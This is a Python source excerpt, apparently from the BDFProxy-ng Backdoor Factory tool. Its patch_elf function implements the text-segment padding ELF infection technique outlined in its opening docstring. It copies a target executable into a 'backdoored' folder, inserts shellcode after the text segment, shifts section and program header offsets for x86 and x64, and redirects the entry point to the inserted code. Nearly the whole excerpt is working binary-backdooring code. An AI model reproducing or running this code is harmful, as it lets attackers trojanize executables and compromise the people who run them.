'Circa 1998: http://vxheavens.com/lib/vsc01.html  <--Thanks to elfmaster
6. Increase p_shoff by PAGE_SIZE in the ELF header
7. Patch the insertion code (parasite) to jump to the entry point (original)
1. Locate the text segment program header
-Modify the entry point of the ELF header to point to the new code (p_vaddr + p_filesz)
-Increase p_filesz by account for the new code (parasite)
-Increase p_memsz to account for the new code (parasite)
2. For each phdr who\'s segment is after the insertion (text segment)
-increase p_offset by PAGE_SIZE
3. For the last shdr in the text segment
-increase sh_len by the parasite length
4. For each shdr who\'s section resides after the insertion
-Increase sh_offset by PAGE_SIZE
5. Physically insert the new code (parasite) and pad to PAGE_SIZE,
into the file - text segment p_offset + p_filesz (original)'

def patch_elf(self):

    self.support_check()
    if (self.supported is False):
        print '[!]    ELF    Binary    not    supported'
        return False
    self.output_options()
    if (not os.path.exists('plugins/BDFProxy-ng/backdoored')):
        os.makedirs('plugins/BDFProxy-ng/backdoored')
    os_name = os.name
    if (os_name == 'nt'):
        self.backdoorfile = ('plugins/BDFProxy-ng/backdoored\\' + self.OUTPUT)
    else:
        self.backdoorfile = ('plugins/BDFProxy-ng/backdoored/' + self.OUTPUT)
    shutil.copy2(self.FILE, self.backdoorfile)
    gather_result = self.gather_file_info()
    if (gather_result is False):
        print '[!]    Are    you    fuzzing?'
        return False
    print '[*]    Getting    shellcode    length'
    resultShell = self.set_shells()
    if (resultShell is False):
        print '[!]    Could    not    set    shell'
        return False
    self.bin_file = open(self.backdoorfile, 'r+b')
    newBuffer = len(self.shellcode)
    self.bin_file.seek(24, 0)
    headerTracker = 0
    PAGE_SIZE = 4096
    newOffset = None
    for (header, values) in self.prog_hdr.iteritems():
        if ((values['p_flags'] == 5) and (values['p_type'] == 1)):
            self.shellcode_vaddr = (values['p_vaddr'] + values['p_filesz'])
            beginOfSegment = values['p_vaddr']
            oldentry = self.e_entry
            sizeOfNewSegment = (values['p_memsz'] + newBuffer)
            LOCofNewSegment = (values['p_filesz'] + newBuffer)
            headerTracker = header
            newOffset = (values['p_offset'] + values['p_filesz'])
    print '[*]    Setting    selected    shellcode'
    resultShell = self.set_shells()
    self.bin_file.seek(0)
    if ((newOffset > 4294967296) or (newOffset is None)):
        print '[!]    Fuzz    Fuzz    Fuzz    the    bin'
        return False
    if (newOffset > self.file_size):
        print '[!]    The    file    is    really    not    that    big'
        return False
    file_1st_part = self.bin_file.read(newOffset)
    newSectionOffset = self.bin_file.tell()
    file_2nd_part = self.bin_file.read()
    self.bin_file.close()
    self.bin_file = open(self.backdoorfile, 'w+b')
    self.bin_file.write(file_1st_part)
    self.bin_file.write(self.shellcode)
    self.bin_file.write(('\x00' * (PAGE_SIZE - len(self.shellcode))))
    self.bin_file.write(file_2nd_part)
    if (self.EI_CLASS == 1):
        print '[*]    Patching    x86    Binary'
        self.bin_file.seek(24, 0)
        self.bin_file.seek(8, 1)
        if ((self.e_shoff + PAGE_SIZE) > 4294967296):
            print '[!]    Such    fuzz...'
            return False
        self.bin_file.write(struct.pack((self.endian + 'I'), (self.e_shoff + PAGE_SIZE)))
        self.bin_file.seek((self.e_shoff + PAGE_SIZE), 0)
        for i in range(self.e_shnum):
            if (self.sec_hdr[i]['sh_offset'] >= newOffset):
                if ((self.sec_hdr[i]['sh_offset'] + PAGE_SIZE) > 4294967296):
                    print '[!]    Melkor    is    cool    right?'
                    return False
                self.bin_file.seek(16, 1)
                self.bin_file.write(struct.pack((self.endian + 'I'), (self.sec_hdr[i]['sh_offset'] + PAGE_SIZE)))
                self.bin_file.seek(20, 1)
            elif ((self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr']) == self.shellcode_vaddr):
                if ((self.sec_hdr[i]['sh_offset'] + newBuffer) > 4294967296):
                    print '[!]    Someone    is    fuzzing...'
                    return False
                self.bin_file.seek(20, 1)
                self.bin_file.write(struct.pack((self.endian + 'I'), (self.sec_hdr[i]['sh_size'] + newBuffer)))
                self.bin_file.seek(16, 1)
            else:
                self.bin_file.seek(40, 1)
        after_textSegment = False
        self.bin_file.seek(self.e_phoff, 0)
        for i in range(self.e_phnum):
            if (i == headerTracker):
                after_textSegment = True
                self.bin_file.seek(16, 1)
                if ((self.prog_hdr[i]['p_filesz'] + newBuffer) > 4294967296):
                    print '[!]    Melkor    you    fuzzer    you...'
                    return False
                if ((self.prog_hdr[i]['p_memsz'] + newBuffer) > 4294967296):
                    print '[!]    Someone    is    a    fuzzing...'
                    return False
                self.bin_file.write(struct.pack((self.endian + 'I'), (self.prog_hdr[i]['p_filesz'] + newBuffer)))
                self.bin_file.write(struct.pack((self.endian + 'I'), (self.prog_hdr[i]['p_memsz'] + newBuffer)))
                self.bin_file.seek(8, 1)
            elif (after_textSegment is True):
                self.bin_file.seek(4, 1)
                if ((self.prog_hdr[i]['p_offset'] + PAGE_SIZE) > 4294967296):
                    print '[!]    Nice    Fuzzer!'
                    return False
                self.bin_file.write(struct.pack((self.endian + 'I'), (self.prog_hdr[i]['p_offset'] + PAGE_SIZE)))
                self.bin_file.seek(24, 1)
            else:
                self.bin_file.seek(32, 1)
        self.bin_file.seek(self.e_entryLocOnDisk, 0)
        if (self.shellcode_vaddr >= 4294967295):
            print '[!]    Oh    hai    Fuzzer!'
            return False
        self.bin_file.write(struct.pack((self.endian + 'I'), self.shellcode_vaddr))
        self.JMPtoCodeAddress = ((self.shellcode_vaddr - self.e_entry) - 5)
    else:
        print '[*]    Patching    x64    Binary'
        self.bin_file.seek(24, 0)
        self.bin_file.seek(16, 1)
        if ((self.e_shoff + PAGE_SIZE) > 9223372036854775807):
            print '[!]    Such    fuzz...'
            return False
        self.bin_file.write(struct.pack((self.endian + 'I'), (self.e_shoff + PAGE_SIZE)))
        self.bin_file.seek((self.e_shoff + PAGE_SIZE), 0)
        for i in range(self.e_shnum):
            if (self.sec_hdr[i]['sh_offset'] >= newOffset):
                self.bin_file.seek(24, 1)
                if ((self.sec_hdr[i]['sh_offset'] + PAGE_SIZE) > 9223372036854775807):
                    print '[!]    Fuzzing...'
                    return False
                self.bin_file.write(struct.pack((self.endian + 'Q'), (self.sec_hdr[i]['sh_offset'] + PAGE_SIZE)))
                self.bin_file.seek(32, 1)
            elif ((self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr']) == self.shellcode_vaddr):
                self.bin_file.seek(32, 1)
                if ((self.sec_hdr[i]['sh_offset'] + newBuffer) > 9223372036854775807):
                    print '[!]    Melkor    is    cool    right?'
                    return False
                self.bin_file.write(struct.pack((self.endian + 'Q'), (self.sec_hdr[i]['sh_size'] + newBuffer)))
                self.bin_file.seek(24, 1)
            else:
                self.bin_file.seek(64, 1)
        after_textSegment = False
        self.bin_file.seek(self.e_phoff, 0)
        for i in range(self.e_phnum):
            if (i == headerTracker):
                after_textSegment = True
                self.bin_file.seek(32, 1)
                if ((self.prog_hdr[i]['p_filesz'] + newBuffer) > 9223372036854775807):
                    print '[!]    Fuzz    fuzz    fuzz...    '
                    return False
                if ((self.prog_hdr[i]['p_memsz'] + newBuffer) > 9223372036854775807):
                    print '[!]    Someone    is    fuzzing...'
                    return False
                self.bin_file.write(struct.pack((self.endian + 'Q'), (self.prog_hdr[i]['p_filesz'] + newBuffer)))
                self.bin_file.write(struct.pack((self.endian + 'Q'), (self.prog_hdr[i]['p_memsz'] + newBuffer)))
                self.bin_file.seek(8, 1)
            elif (after_textSegment is True):
                self.bin_file.seek(8, 1)
                if ((self.prog_hdr[i]['p_offset'] + PAGE_SIZE) > 9223372036854775807):
                    print '[!]    Nice    fuzzer!'
                    return False
                self.bin_file.write(struct.pack((self.endian + 'Q'), (self.prog_hdr[i]['p_offset'] + PAGE_SIZE)))
                self.bin_file.seek(40, 1)
            else:
                self.bin_file.seek(56, 1)
        self.bin_file.seek(self.e_entryLocOnDisk, 0)
        if (self.shellcode_vaddr > 9223372036854775807):
            print '[!]    Fuzzing...'
            return False
        self.bin_file.write(struct.pack((self.endian + 'Q'), self.shellcode_vaddr))
        self.JMPtoCodeAddress = ((self.shellcode_vaddr - self.e_entry) - 5)
    self.bin_file.close()
    print '[!]    Patching    Complete'
    return True
